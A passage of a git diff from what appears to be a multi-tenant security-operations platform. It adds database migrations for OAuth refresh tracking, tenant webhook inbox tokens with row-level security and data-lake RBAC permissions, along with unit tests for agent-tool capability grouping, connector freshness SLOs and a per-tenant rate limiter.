+-- -provisioned connectors. Reset to 0 on a
+-- successful refresh. The worker raises an
+-- operator-visible alarm at >= 3 (per plan
+-- §5: "Alarms when refresh fails 3x").
+--
+-- oauth_last_refresh_at : Wall clock of the most recent successful
+-- refresh. Used by the worker to throttle
+-- its scan and by the UI to show "token
+-- rotated 3 min ago".
+--
+-- last_outage_at : When the connector first transitioned to
+-- ``health_status='unhealthy'`` (and stayed
+-- there). NULL while healthy. The backfill
+-- worker reads this on recovery — if the
+-- outage spanned more than 30 min we kick
+-- off a backfill polling job from the last
+-- known good cursor.
+--
+-- last_backfill_at : Wall clock of the most recent backfill
+-- run. Stops the worker from re-firing on
+-- every recovery flap and gives the UI a
+-- "backfilled to <ts>" affordance.
+--
+-- All four are nullable / default 0 so existing rows are valid.
+-- Idempotent — running this migration twice is safe.
+
+BEGIN;
+
+ALTER TABLE connectors
+ ADD COLUMN IF NOT EXISTS oauth_refresh_failures INTEGER NOT NULL DEFAULT 0,
+ ADD COLUMN IF NOT EXISTS oauth_last_refresh_at TIMESTAMPTZ,
+ ADD COLUMN IF NOT EXISTS last_outage_at TIMESTAMPTZ,
+ ADD COLUMN IF NOT EXISTS last_backfill_at TIMESTAMPTZ;
+
+-- Partial index so the OAuth refresh worker can find rows that need
+-- attention (oauth_provisioned + auth_config has expires_at) without
+-- scanning every connector row in the table. The worker will still
+-- filter on auth_config->>'expires_at' < now() + 5 min in Python; this
+-- index just narrows the candidate set.
+CREATE INDEX IF NOT EXISTS idx_connectors_oauth_provisioned
+ ON connectors(tenant_id, oauth_provisioned)
+ WHERE oauth_provisioned = TRUE;
+
+-- Partial index on currently-unhealthy rows so the backfill worker can
+-- watch the recovery transition cheaply.
+CREATE INDEX IF NOT EXISTS idx_connectors_unhealthy
+ ON connectors(tenant_id, health_status, last_outage_at)
+ WHERE health_status = 'unhealthy';
+
+COMMIT;
diff --git a/services/api/migrations/033_tenant_inbox_tokens.sql b/services/api/migrations/033_tenant_inbox_tokens.sql
new file mode 100644
index 000000000..4bae4c991
--- /dev/null
+++ b/services/api/migrations/033_tenant_inbox_tokens.sql
@@ -0,0 +1,75 @@
+-- Workstream 6 (universal capture push paths).
+--
+-- For every closed-proprietary tool that has neither a read API nor an
+-- OAuth flow, we mint a per-tenant, rotatable inbox URL. Vendors point
+-- their existing webhook at it; we resolve the token to a tenant +
+-- vendor template and reuse the existing OCSF normalizer + Kafka
+-- publisher.
+--
+-- This is distinct from the per-connector ``connectors.ingest_token``
+-- column (migration 029): that one ties a webhook to a *specific*
+-- connector instance, while ``tenant_inbox_tokens`` ties it to a
+-- tenant + template_id (e.g. ``pagerduty``, ``opsgenie``,
+-- ``generic-json``). The "Push (any vendor)" card in the onboarding
+-- flow mints rows here without requiring a connector to exist yet.
+--
+-- Columns:
+-- tenant_id - owner tenant; used as the OCSF ``tenant_uid``.
+-- token - URL-safe random secret embedded in the inbox URL.
+-- Treated as a credential; never logged.
+-- template_id - filename stem in
+-- services/ingest/internal/normalizer/templates/*.yaml
+-- used to map the vendor payload onto OCSF.
+-- label - human-readable label shown in the UI (e.g. "PagerDuty
+-- on-call", "Cloudflare Logpush prod").
+-- hmac_secret - optional HMAC secret for signature verification on
+-- the ``X-Signature`` header. NULL means no signature
+-- verification (still secured by the token in the URL).
+-- created_at - mint timestamp.
+-- revoked_at - non-NULL means the token has been rotated; the
+-- ingest service rejects requests for revoked tokens.
+-- last_used_at - last successful inbound request, for staleness
+-- reporting in the UI.
+
+BEGIN;
+
+CREATE TABLE IF NOT EXISTS tenant_inbox_tokens (
+ tenant_id UUID NOT NULL REFERENCES tenants(id) ON DELETE CASCADE,
+ token VARCHAR(80) NOT NULL,
+ template_id VARCHAR(80) NOT NULL,
+ label VARCHAR(255),
+ hmac_secret TEXT,
+ created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
+ revoked_at TIMESTAMPTZ,
+ last_used_at TIMESTAMPTZ,
+ PRIMARY KEY (token)
+);
+
+-- Per-tenant lookup for the operator UI ("show me all my push URLs").
+CREATE INDEX IF NOT EXISTS tenant_inbox_tokens_tenant_idx
+ ON tenant_inbox_tokens (tenant_id);
+
+-- Fast resolve path used by services/ingest on every push request.
+-- Partial index keeps the hot path tiny — revoked tokens fall out.
+CREATE INDEX IF NOT EXISTS tenant_inbox_tokens_active_idx
+ ON tenant_inbox_tokens (token)
+ WHERE revoked_at IS NULL;
+
+-- ============================================================
+-- RLS: each tenant sees only its own inbox tokens.
+--
+-- The Go ingest service connects with a service-role DSN that has
+-- BYPASSRLS, so it can resolve any tenant's token on the hot path.
+-- The Python API service runs every operator query inside a
+-- ``SET LOCAL app.current_tenant_id = ...`` transaction (see
+-- app/db/rls.py), which makes this policy a hard backstop against
+-- a missing WHERE clause leaking another tenant's tokens.
+-- ============================================================
+ALTER TABLE tenant_inbox_tokens ENABLE ROW LEVEL SECURITY;
+ALTER TABLE tenant_inbox_tokens FORCE ROW LEVEL SECURITY;
+
+DROP POLICY IF EXISTS tenant_inbox_tokens_tenant_isolation ON tenant_inbox_tokens;
+CREATE POLICY tenant_inbox_tokens_tenant_isolation ON tenant_inbox_tokens
+ USING (tenant_id = current_tenant_id() OR current_tenant_id() IS NULL);
+
+COMMIT;
diff --git a/services/api/migrations/034_lake_permissions.sql b/services/api/migrations/034_lake_permissions.sql
new file mode 100644
index 000000000..b2bc0228e
--- /dev/null
+++ b/services/api/migrations/034_lake_permissions.sql
@@ -0,0 +1,148 @@
+-- ============================================================
+-- Migration 034: tenant lake API permissions (Workstream 7)
+-- ============================================================
+-- Adds two new global permissions to the RBAC permissions catalog
+-- and backfills them onto existing role assignments so the DB-backed
+-- RBAC path (deps.CurrentUser.has_permission_db) and the static
+-- ROLE_PERMISSIONS fallback in app/core/security.py stay in sync.
+--
+-- Permissions:
+-- lake:query - execute SELECT against the warm tier via
+-- POST /api/v1/lake/sql (rewriter still enforces
+-- table allowlist + tenant predicates + LIMIT cap)
+-- lake:read_schema - GET /api/v1/lake/schema for table/column
+-- discovery (read-only, no data exposure)
+--
+-- Role mapping (DB-backed system roles):
+-- admin → both (already; admin auto-grants all permissions on
+-- tenant seed, but we still explicit-backfill in case an
+-- admin role was created without the auto-grant)
+-- analyst → both (analysts run lake queries during triage)
+-- viewer → lake:read_schema only (viewers see schema; no data
+-- egress through SQL execution)
+--
+-- This migration is idempotent. It uses ON CONFLICT DO NOTHING and
+-- predicate-based selects so it can be re-run safely.
+-- ============================================================
+
+-- 1. Seed the two new permissions into the global permissions catalog.
+INSERT INTO permissions (name, description, category) VALUES
+ ('lake:query', 'Execute SELECT queries against the tenant warm-tier lake', 'lake'),
+ ('lake:read_schema', 'Read table and column metadata from the tenant lake', 'lake')
+ON CONFLICT (name) DO NOTHING;
+
+-- 2. Backfill onto existing roles across every tenant.
+-- The seed_system_roles() function grants permissions at tenant
+-- creation time, but tenants seeded before this migration won't
+-- have the new permissions wired up yet. This block fixes that
+-- without disturbing custom roles or non-system roles.
+
+-- Admin: gets every permission (mirror of the seed_system_roles admin grant).
+INSERT INTO role_permissions (role_id, permission_id)
+SELECT r.id, p.id
+FROM roles r
+CROSS JOIN permissions p
+WHERE r.name = 'admin'
+ AND r.is_system = TRUE
+ AND p.name IN ('lake:query', 'lake:read_schema')
+ON CONFLICT DO NOTHING;
+
+-- Analyst: gets both lake permissions (lake is a triage tool).
+INSERT INTO role_permissions (role_id, permission_id)
+SELECT r.id, p.id
+FROM roles r
+CROSS JOIN permissions p
+WHERE r.name = 'analyst'
+ AND r.is_system = TRUE
+ AND p.name IN ('lake:query', 'lake:read_schema')
+ON CONFLICT DO NOTHING;
+
+-- Viewer: only schema reads, no SQL execution.
+INSERT INTO role_permissions (role_id, permission_id)
+SELECT r.id, p.id
+FROM roles r
+CROSS JOIN permissions p
+WHERE r.name = 'viewer'
+ AND r.is_system = TRUE
+ AND p.name IN ('lake:read_schema')
+ON CONFLICT DO NOTHING;
+
+-- 3. Update seed_system_roles() so newly-onboarded tenants get the
+-- same wiring without a follow-up backfill.
+--
+-- The admin grant already SELECTs every permission, so it picks
+-- up lake:* automatically. The analyst grant uses an IN-list, so
+-- we extend it. The viewer grant uses a `LIKE '%:read'` pattern,
+-- so we add an explicit `OR name = 'lake:read_schema'` clause —
+-- `lake:read_schema` doesn't end in `:read` so it would otherwise
+-- be missed.
+
+CREATE OR REPLACE FUNCTION seed_system_roles(p_tenant_id UUID) RETURNS VOID
+ LANGUAGE plpgsql
+ AS $$
+DECLARE
+ v_admin_id UUID;
+ v_analyst_id UUID;
+ v_viewer_id UUID;
+BEGIN
+ -- Admin role
+ INSERT INTO roles (tenant_id, name, description, is_system)
+ VALUES (p_tenant_id, 'admin', 'Full access to all resources', TRUE)
+ ON CONFLICT (tenant_id, name) DO NOTHING
+ RETURNING id INTO v_admin_id;
+
+ IF v_admin_id IS NULL THEN
+ SELECT id INTO v_admin_id FROM roles WHERE tenant_id = p_tenant_id AND name = 'admin';
+ END IF;
+
+ -- Grant all permissions to admin (includes lake:query, lake:read_schema).
+ INSERT INTO role_permissions (role_id, permission_id)
+ SELECT v_admin_id, id FROM permissions
+ ON CONFLICT DO NOTHING;
+
+ -- Analyst role
+ INSERT INTO roles (tenant_id, name, description, is_system)
+ VALUES (p_tenant_id, 'analyst', 'Read and triage access', TRUE)
+ ON CONFLICT (tenant_id, name) DO NOTHING
+ RETURNING id INTO v_analyst_id;
+
+ IF v_analyst_id IS NULL THEN
+ SELECT id INTO v_analyst_id FROM roles WHERE tenant_id = p_tenant_id AND name = 'analyst';
+ END IF;
+
+ -- Analyst gets read + execute on all, write on cases/alerts, plus
+ -- both lake permissions for triage queries.
+ INSERT INTO role_permissions (role_id, permission_id)
+ SELECT v_analyst_id, id FROM permissions
+ WHERE name IN (
+ 'cases:read', 'cases:write',
+ 'alerts:read', 'alerts:write',
+ 'playbooks:read', 'playbooks:execute',
+ 'detections:read',
+ 'connectors:read',
+ 'audit_log:read',
+ 'compliance:read',
+ 'lake:query',
+ 'lake:read_schema'
+ )
+ ON CONFLICT DO NOTHING;
+
+ -- Viewer role
+ INSERT INTO roles (tenant_id, name, description, is_system)
+ VALUES (p_tenant_id, 'viewer', 'Read-only access', TRUE)
+ ON CONFLICT (tenant_id, name) DO NOTHING
+ RETURNING id INTO v_viewer_id;
+
+ IF v_viewer_id IS NULL THEN
+ SELECT id INTO v_viewer_id FROM roles WHERE tenant_id = p_tenant_id AND name = 'viewer';
+ END IF;
+
+ -- Viewer gets read-only. The `%:read` pattern misses lake:read_schema
+ -- (it ends in `_schema`, not `:read`), so add it explicitly.
+ INSERT INTO role_permissions (role_id, permission_id)
+ SELECT v_viewer_id, id FROM permissions
+ WHERE name LIKE '%:read'
+ OR name = 'lake:read_schema'
+ ON CONFLICT DO NOTHING;
+END;
+$$;
diff --git a/services/api/pyproject.toml b/services/api/pyproject.toml
index df991bf52..1ae47a40d 100644
--- a/services/api/pyproject.toml
+++ b/services/api/pyproject.toml
@@ -29,6 +29,13 @@ opentelemetry-sdk = "^1.24.0"
opentelemetry-instrumentation-fastapi = "^0.45b0"
opentelemetry-instrumentation-sqlalchemy = "^0.45b0"
clickhouse-driver = "^0.2.8"
+# sqlglot powers the tenant-lake SQL rewriter (Workstream 7). We use it to
+# parse user-supplied SELECTs, enforce a table allowlist, and inject the
+# mandatory `tenant_id = '<uuid>'` predicate into every relation (including
+# subqueries) before the statement is forwarded to ClickHouse. Pinned with
+# a wide range because sqlglot ships frequent dialect tweaks and we don't
+# want lockstep upgrades; the rewriter is exercised by unit tests.
+sqlglot = ">=23.0.0,<27.0.0"
boto3 = "^1.34.0"
neo4j = ">=5.19,<7.0"
pysigma = "^0.11.0"
diff --git a/services/api/tests/test_agents_tools_endpoint.py b/services/api/tests/test_agents_tools_endpoint.py
new file mode 100644
index 000000000..af7f41eff
--- /dev/null
+++ b/services/api/tests/test_agents_tools_endpoint.py
@@ -0,0 +1,100 @@
+"""Unit tests for the agent tools surface (Workstream 4).
+
+These tests cover the *pure* helpers that shape ``GET /api/v1/agents/tools``
+output — group lookup, description fallback, and capability normalisation
+across both list-of-strings and list-of-dicts catalog payloads. The
+endpoint itself is covered by integration tests once the auth fixtures
+land; the helpers are the parts most likely to silently misbehave when
+the connectors microservice changes its catalog wire format.
+"""
+
+from __future__ import annotations
+
+from app.api.v1.endpoints.agents import (
+ _CAPABILITY_GROUP_LOOKUP,
+ _capability_descriptions,
+ _capability_group_of,
+ _default_description,
+)
+
+
+# ----------------------------------------------------------- group lookup
+
+
+def test_capability_group_lookup_covers_taxonomy() -> None:
+ """Every documented capability bucket must have at least one entry.
+
+ If someone adds a new capability bucket and forgets to wire it into
+ the lookup, we'd silently surface every verb in that bucket as
+ 'unknown'. This catches that drift before it ships.
+ """
+ expected_groups = {
+ "read",
+ "query",
+ "pivot",
+ "enrich",
+ "contain",
+ "remediate",
+ "ticket",
+ "audit",
+ }
+ seen_groups = set(_CAPABILITY_GROUP_LOOKUP.values())
+ assert expected_groups <= seen_groups
+
+
+def test_capability_group_of_known_value() -> None:
+ assert _capability_group_of("isolate_host") == "contain"
+ assert _capability_group_of("pull_alerts") == "read"
+ assert _capability_group_of("push_case") == "ticket"
+
+
+def test_capability_group_of_unknown_value_is_soft_signal() -> None:
+ """Unknown capabilities surface as 'unknown' rather than raising.
+
+ Dropping a verb the connector class declared would silently hide
+ functionality from the agent. 'unknown' is a soft drift signal — the
+ agent layer can log a warning and decide whether to use it anyway.
+ """
+ assert _capability_group_of("future_capability_we_havent_added_yet") == "unknown"
+
+
+# ----------------------------------------------------------- descriptions
+
+
+def test_default_description_humanises_underscores() -> None:
+ assert _default_description("isolate_host") == "Invoke 'isolate host' on this connector instance."
+
+
+def test_capability_descriptions_handles_flat_strings() -> None:
+ """Older connectors-service payloads emit ``["pull_alerts", ...]``."""
+ entry = {"capabilities": ["pull_alerts", "isolate_host"]}
+ out = _capability_descriptions(entry)
+ assert set(out.keys()) == {"pull_alerts", "isolate_host"}
+ # Defaults must look reasonable, not raw enum values.
+ assert "pull alerts" in out["pull_alerts"]
+
+
+def test_capability_descriptions_handles_object_payload() -> None:
+ """Forward-compat: connectors service may switch to richer objects."""
+ entry = {
+ "capabilities": [
+ {"value": "pull_alerts", "description": "Stream new detections."},
+ {"value": "isolate_host"}, # description omitted → fallback
+ ],
+ }
+ out = _capability_descriptions(entry)
+ assert out["pull_alerts"] == "Stream new detections."
+ # Missing description falls back to the auto-generated one.
+ assert "isolate host" in out["isolate_host"]
+
+
+def test_capability_descriptions_skips_unknown_shapes() -> None:
+ """Garbage entries shouldn't crash — they should just be ignored."""
+ entry = {"capabilities": [123, None, ["nested"]]}
+ assert _capability_descriptions(entry) == {}
+
+
+def test_capability_descriptions_handles_missing_capabilities_key() -> None:
+ """Catalog entry without a ``capabilities`` key returns empty dict."""
+ assert _capability_descriptions({}) == {}
+ assert _capability_descriptions({"capabilities": None}) == {}
diff --git a/services/api/tests/test_connector_freshness.py b/services/api/tests/test_connector_freshness.py
new file mode 100644
index 000000000..2fdad717a
--- /dev/null
+++ b/services/api/tests/test_connector_freshness.py
@@ -0,0 +1,312 @@
+"""Unit tests for the connector freshness SLO module (Workstream 5).
+
+The freshness module is pure (no DB, no I/O), so these tests are
+exhaustive: every status transition (green → yellow → red), every
+cadence row in the per-category table, the ``unknown`` handling for
+connectors that haven't ingested yet, and the per-instance override
+that lets an operator declare "this Splunk polls hourly, don't paint
+yellow."
+
+The intent is that the freshness verdict the API surfaces matches
+exactly what the UI badge renders, with no client-side rule
+duplication. If a future contributor changes a cadence here without
+also updating ``apps/docs``, a test will fail loudly.
+"""
+
+from __future__ import annotations
+
+from datetime import UTC, datetime, timedelta
+
+import pytest
+from app.services.connector_freshness import (
+ _CADENCE_BY_CATEGORY,
+ _DEFAULT_CADENCE_S,
+ _RED_MULTIPLIER,
+ FreshnessSLO,
+ compute_freshness,
+ expected_cadence_seconds,
+)
+
+
+# ---------------------------------------------------------- expected_cadence_seconds
+
+
+def test_expected_cadence_known_categories_match_table() -> None:
+ """The published cadence table is the source of truth.
+
+ If a value is changed without updating the docs ("EDR is 5 min,
+ SIEM is 15 min, …"), this test fails so the contributor knows to
+ revisit the connector docs in apps/docs/.
+ """
+ assert _CADENCE_BY_CATEGORY["edr"] == 5 * 60
+ assert _CADENCE_BY_CATEGORY["siem"] == 15 * 60
+ assert _CADENCE_BY_CATEGORY["iam"] == 30 * 60
+ assert _CADENCE_BY_CATEGORY["saas"] == 30 * 60
+ assert _CADENCE_BY_CATEGORY["network"] == 30 * 60
+ assert _CADENCE_BY_CATEGORY["cloud"] == 30 * 60
+ assert _CADENCE_BY_CATEGORY["vcs"] == 15 * 60
+ assert _CADENCE_BY_CATEGORY["vuln"] == 60 * 60
+ assert _CADENCE_BY_CATEGORY["email"] == 15 * 60
+ assert _CADENCE_BY_CATEGORY["ticketing"] == 30 * 60
+
+
+def test_expected_cadence_unknown_category_falls_back_to_default() -> None:
+ assert expected_cadence_seconds("future-category") == _DEFAULT_CADENCE_S
+ assert expected_cadence_seconds(None) == _DEFAULT_CADENCE_S
+ assert expected_cadence_seconds("") == _DEFAULT_CADENCE_S
+
+
+def test_expected_cadence_is_case_insensitive() -> None:
+ """Catalog rows occasionally store ``EDR`` or ``Edr``.
+
+ The lookup normalises to lowercase so a casing drift in the
+ catalog doesn't silently bump every EDR connector to the default
+ 30-minute cadence.
+ """
+ assert expected_cadence_seconds("EDR") == 5 * 60
+ assert expected_cadence_seconds("Siem") == 15 * 60
+
+
+def test_expected_cadence_override_wins_over_table() -> None:
+ """Per-instance overrides are how an operator says "this one's batch."
+
+ A Splunk instance that polls hourly because the customer's data
+ only shows up in batches shouldn't be painted yellow against the
+ 15-minute SIEM default.
+ """
+ assert expected_cadence_seconds("siem", override_seconds=3600) == 3600
+ # Even when the table would say "fast," the override is honoured.
+ assert expected_cadence_seconds("edr", override_seconds=900) == 900
+
+
+def test_expected_cadence_override_zero_or_negative_is_ignored() -> None:
+ """Defensive: a misconfigured 0 override mustn't make every connector red.
+
+ ``0`` would mean "data must arrive instantly," which is impossible
+ and would paint everything red. A negative would underflow the
+ age comparison. Both fall through to the category default.
+ """
+ assert expected_cadence_seconds("siem", override_seconds=0) == 15 * 60
+ assert expected_cadence_seconds("siem", override_seconds=-30) == 15 * 60
+
+
+# -------------------------------------------------------------- compute_freshness
+
+
+def _now() -> datetime:
+ """Deterministic 'now' for relative-time tests."""
+ return datetime(2026, 5, 8, 12, 0, 0, tzinfo=UTC)
+
+
+def test_compute_freshness_unknown_when_never_ingested() -> None:
+ """No ``last_event_at`` means the connector hasn't produced data yet.
+
+ The UI distinguishes ``unknown`` (gray badge — "waiting for first
+ event") from ``red`` (red badge — "was flowing, now stopped"), so
+ the verdict must reflect that explicitly.
+ """
+ verdict = compute_freshness(category="edr", last_event_at=None, now=_now())
+ assert verdict.status == "unknown"
+ assert verdict.seconds_since_last_event is None
+ assert verdict.expected_cadence_seconds == 5 * 60
+ assert verdict.category == "edr"
+
+
+def test_compute_freshness_green_when_inside_cadence() -> None:
+ now = _now()
+ last = now - timedelta(minutes=2) # within EDR's 5-min window
+ verdict = compute_freshness(category="edr", last_event_at=last, now=now)
+ assert verdict.status == "green"
+ assert verdict.seconds_since_last_event == 120
+ assert verdict.expected_cadence_seconds == 5 * 60
+
+
+def test_compute_freshness_yellow_when_between_cadence_and_2x() -> None:
+ """Yellow means "late, but within our patience window."
+
+ The window is ``cadence`` < age <= ``2 × cadence``. For SIEM
+ (15 min), that's 15–30 minutes since last event.
+ """
+ now = _now()
+ last = now - timedelta(minutes=20) # > 15m, < 30m
+ verdict = compute_freshness(category="siem", last_event_at=last, now=now)
+ assert verdict.status == "yellow"
+
+
+def test_compute_freshness_red_when_older_than_2x_cadence() -> None:
+ now = _now()
+ last = now - timedelta(minutes=45) # > 2 × 15m for SIEM
+ verdict = compute_freshness(category="siem", last_event_at=last, now=now)
+ assert verdict.status == "red"
+
+
+def test_compute_freshness_boundary_exactly_at_cadence_is_green() -> None:
+ """Edge: age == cadence is still green ("just made it").
+
+ This matches the operator-visible rule: "you're on time if you
+ poll at most every ``cadence_seconds``." Anything past that tips
+ yellow.
+ """
+ now = _now()
+ last = now - timedelta(seconds=_CADENCE_BY_CATEGORY["edr"])
+ verdict = compute_freshness(category="edr", last_event_at=last, now=now)
+ assert verdict.status == "green"
+ assert verdict.seconds_since_last_event == _CADENCE_BY_CATEGORY["edr"]
+
+
+def test_compute_freshness_boundary_exactly_at_2x_cadence_is_yellow() -> None:
+ """Edge: age == 2 × cadence is still yellow, not red.
+
+ Mirrors the green boundary — "exactly at the line" stays in the
+ less-alarming bucket so brief polling jitter doesn't trip alerts.
+ """
+ now = _now()
+ last = now - timedelta(seconds=int(_CADENCE_BY_CATEGORY["edr"] * _RED_MULTIPLIER))
+ verdict = compute_freshness(category="edr", last_event_at=last, now=now)
+ assert verdict.status == "yellow"
+
+
+def test_compute_freshness_uses_default_for_unknown_category() -> None:
+ """A connector with a brand-new category falls back to 30 min.
+
+ Newly added catalog rows can declare a category we don't yet have
+ a cadence row for (e.g. plugin authors experimenting). The verdict
+ still computes — it just uses the default — instead of crashing.
+ """
+ now = _now()
+ last = now - timedelta(minutes=10)
+ verdict = compute_freshness(category="experimental", last_event_at=last, now=now)
+ assert verdict.expected_cadence_seconds == _DEFAULT_CADENCE_S
+ assert verdict.status == "green"
+
+
+def test_compute_freshness_uses_default_when_category_missing() -> None:
+ now = _now()
+ last = now - timedelta(minutes=10)
+ verdict = compute_freshness(category=None, last_event_at=last, now=now)
+ assert verdict.expected_cadence_seconds == _DEFAULT_CADENCE_S
+ assert verdict.category == "unknown"
+
+
+def test_compute_freshness_handles_naive_last_event_at() -> None:
+ """Defensive: some DB drivers strip tzinfo.
+
+ ``last_event_at`` is declared ``DateTime(timezone=True)``, but if a
+ driver upgrade silently changed that we mustn't crash with
+ "can't subtract offset-naive and offset-aware datetimes". The
+ function must coerce to UTC and keep going.
+ """
+ now = _now()
+ last_naive = (now - timedelta(minutes=2)).replace(tzinfo=None)
+ verdict = compute_freshness(category="edr", last_event_at=last_naive, now=now)
+ assert verdict.status == "green"
+ assert verdict.seconds_since_last_event == 120
+
+
+def test_compute_freshness_clamps_negative_age_to_zero() -> None:
+ """Future-dated ``last_event_at`` (clock skew) is clamped, not negative.
+
+ If a connector's host clock is ahead of ours, the age would
+ arithmetically be negative. We clamp to 0 so the verdict reads
+ "fresh as can be" rather than emitting a nonsensical negative
+ age that breaks any downstream comparison.
+ """
+ now = _now()
+ future = now + timedelta(minutes=5)
+ verdict = compute_freshness(category="edr", last_event_at=future, now=now)
+ assert verdict.seconds_since_last_event == 0
+ assert verdict.status == "green"
+
+
+def test_compute_freshness_per_instance_override_overrides_status() -> None:
+ """The override changes the verdict, not just the cadence label.
+
+ A SaaS connector running hourly with an override of 3600s must
+ show green at 70 min, even though the SaaS default (30 min,
+ yellow at 60 min) would say red at that age.
+ """
+ now = _now()
+ last = now - timedelta(minutes=70)
+ # Without override: SaaS default 30 min, 2× = 60 min → red at 70 min.
+ default_verdict = compute_freshness(category="saas", last_event_at=last, now=now)
+ assert default_verdict.status == "red"
+ # With override of 1 h: 70 min is still inside 2× = 2 h, so yellow,
+ # not red. The point is "the override demotes the verdict," not
+ # that it's automatically green.
+ override_verdict = compute_freshness(
+ category="saas", last_event_at=last, now=now, override_seconds=3600
+ )
+ assert override_verdict.status == "yellow"
+ assert override_verdict.expected_cadence_seconds == 3600
+ # A shorter event-age (50 min) under the same override is green.
+ fresh_under_override = compute_freshness(
+ category="saas",
+ last_event_at=now - timedelta(minutes=50),
+ now=now,
+ override_seconds=3600,
+ )
+ assert fresh_under_override.status == "green"
+
+
+def test_compute_freshness_uses_real_now_when_not_supplied() -> None:
+ """``now`` defaults to ``datetime.now(UTC)`` so prod callers don't pass it.
+
+ The test asserts the verdict is *consistent* — we don't pin a
+ real wall-clock value — by calling twice in quick succession and
+ expecting both to land on green for a very recent event.
+ """
+ last = datetime.now(UTC) - timedelta(seconds=10)
+ v1 = compute_freshness(category="edr", last_event_at=last)
+ v2 = compute_freshness(category="edr", last_event_at=last)
+ assert v1.status == "green"
+ assert v2.status == "green"
+ # Age is monotonically non-decreasing across two reads.
+ assert (v2.seconds_since_last_event or 0) >= (v1.seconds_since_last_event or 0)
+
+
+# -------------------------------------------------------------- to_dict shape
+
+
+def test_freshness_slo_to_dict_shape_is_stable() -> None:
+ """The serialised shape is the API contract.
+
+ ``ConnectorResponse.freshness`` is built from this dict via
+ ``FreshnessSLOResponse(**verdict.to_dict())``. If a key is added
+ or renamed without updating the Pydantic model, list_connectors
+ starts 500'ing — this test catches that at unit level.
+ """
+ verdict = FreshnessSLO(
+ status="green",
+ expected_cadence_seconds=300,
+ seconds_since_last_event=42,
+ category="edr",
+ )
+ payload = verdict.to_dict()
+ assert set(payload.keys()) == {
+ "status",
+ "expected_cadence_seconds",
+ "seconds_since_last_event",
+ "category",
+ }
+ assert payload["status"] == "green"
+ assert payload["expected_cadence_seconds"] == 300
+ assert payload["seconds_since_last_event"] == 42
+ assert payload["category"] == "edr"
+
+
[email protected]("status", ["green", "yellow", "red", "unknown"])
+def test_freshness_slo_status_values_are_lowercase(status: str) -> None:
+ """Status values are the contract used by the UI badge.
+
+ The UI renders ``status === 'green' ? <Green/> : …``. If a
+ contributor decides to capitalise these, every badge silently
+ falls through to a default. Pin the expected vocabulary here.
+ """
+ verdict = FreshnessSLO(
+ status=status,
+ expected_cadence_seconds=300,
+ seconds_since_last_event=None,
+ category="edr",
+ )
+ assert verdict.status == status
+ assert verdict.status == verdict.status.lower()
diff --git a/services/api/tests/test_lake_rate_limit.py b/services/api/tests/test_lake_rate_limit.py
new file mode 100644
index 000000000..22f1be924
--- /dev/null
+++ b/services/api/tests/test_lake_rate_limit.py
@@ -0,0 +1,483 @@
+"""Unit tests for the per-tenant token-bucket rate limiter (Workstream 7).
+
+These tests exercise the limiter in isolation — no FastAPI, no
+ClickHouse, no audit log. They focus on three properties:
+
+1. **Soft cap, not hard cap.** The bucket allows bursts up to capacity
+ and then degrades to the steady refill rate. This lets a human poke
+ around the lake without getting 429'd while still capping a runaway
+ agent loop.
+2. **Tenant isolation.** A noisy tenant must not be able to drain
+ another tenant's budget. This is the core security property the
+ limiter exists to provide; if it fails, one tenant DoSing themselves
+ would propagate to every other tenant in the same API pod.
+3. **Refill correctness.** Lazy refill must be mathematically
+ equivalent to a continuous leaky-bucket model. Off-by-one errors in
+ the time math here are very common, so we use a controllable
+ monotonic clock to make the assertions deterministic.
+
+We deliberately do *not* sleep in tests; we patch ``time.monotonic`` so
+each test runs in milliseconds. Sleeping in unit tests is the surest
+way to get a flaky CI suite, and the limiter exposes its time source
+implicitly through ``time.monotonic`` in :func:`_TokenBucket._refill`.
+
+A wrinkle worth noting: ``_TokenBucket.last_refill`` is initialised via
+``field(default_factory=time.monotonic)``, and ``default_factory``
+captures the function reference at class-definition time. That
+reference is never re-bound by ``unittest.mock.patch``, so a freshly
+constructed bucket inside a patched block still records the *real*
+monotonic clock as its ``last_refill``. When the patched clock is
+smaller than the real one, ``_refill``'s ``max(0.0, now - last)``
+guard keeps the bucket frozen at zero refill forever. The fix in
+these tests is :func:`_seed_bucket`, which forces bucket creation
+and snaps ``last_refill`` to the patched time before we exercise
+the public API. Yes, this reaches into a private attribute — but
+the alternative is asking the implementation to accept a clock
+injection point purely for tests, which would muddy the production
+hot path.
+"""
+
+from __future__ import annotations
+
+from unittest.mock import patch
+from uuid import UUID, uuid4
+
+import pytest
+
+from app.services.lake_rate_limit import (
+ DEFAULT_CAPACITY,
+ DEFAULT_REFILL_PER_SECOND,
+ LakeRateLimiter,
+ RateLimitDecision,
+)
+
+
+async def _seed_bucket(
+ limiter: LakeRateLimiter,
+ tenant: UUID | str,
+ *,
+ at_time: float,
+) -> None:
+ """Force-create a tenant bucket and align its ``last_refill`` clock.
+
+ Required because the dataclass's ``default_factory=time.monotonic``
+ binds the real clock at import time and ignores ``patch``. See
+ module docstring for the gory details.
+ """
+
+ bucket = await limiter._get_bucket(str(tenant)) # noqa: SLF001
+ bucket.last_refill = at_time
+
+
+# ---------------------------------------------------------------------------
+# Construction validation
+# ---------------------------------------------------------------------------
+
+
+class TestConstruction:
+ """The constructor rejects nonsensical configurations early.
+
+ We'd rather blow up at process boot than silently misbehave at
+ request time — a zero-capacity bucket would deny every request,
+ which is hard to diagnose from a single 429 in production logs.
+ """
+
+ def test_zero_capacity_rejected(self) -> None:
+ with pytest.raises(ValueError, match="capacity must be positive"):
+ LakeRateLimiter(capacity=0.0)
+
+ def test_negative_capacity_rejected(self) -> None:
+ with pytest.raises(ValueError, match="capacity must be positive"):
+ LakeRateLimiter(capacity=-1.0)
+
+ def test_zero_refill_rate_rejected(self) -> None:
+ with pytest.raises(ValueError, match="refill_per_second must be positive"):
+ LakeRateLimiter(refill_per_second=0.0)
+
+ def test_negative_refill_rate_rejected(self) -> None:
+ with pytest.raises(ValueError, match="refill_per_second must be positive"):
+ LakeRateLimiter(refill_per_second=-0.5)
+
+
+# ---------------------------------------------------------------------------
+# Basic acquire semantics
+# ---------------------------------------------------------------------------
+
+
+class TestAcquire:
+ """Single-tenant, single-bucket acquire behaviour."""
+
+ @pytest.mark.asyncio
+ async def test_first_request_succeeds(self) -> None:
+ # The bucket starts full, so a fresh tenant's first request
+ # should always succeed even before any refill has happened.
+ # This matters for the "click and connect" UX: a user who just
+ # finished onboarding shouldn't see a 429 on their very first
+ # query.
+ limiter = LakeRateLimiter(capacity=10.0, refill_per_second=1.0)
+ decision = await limiter.acquire(uuid4())
+
+ assert decision.allowed is True
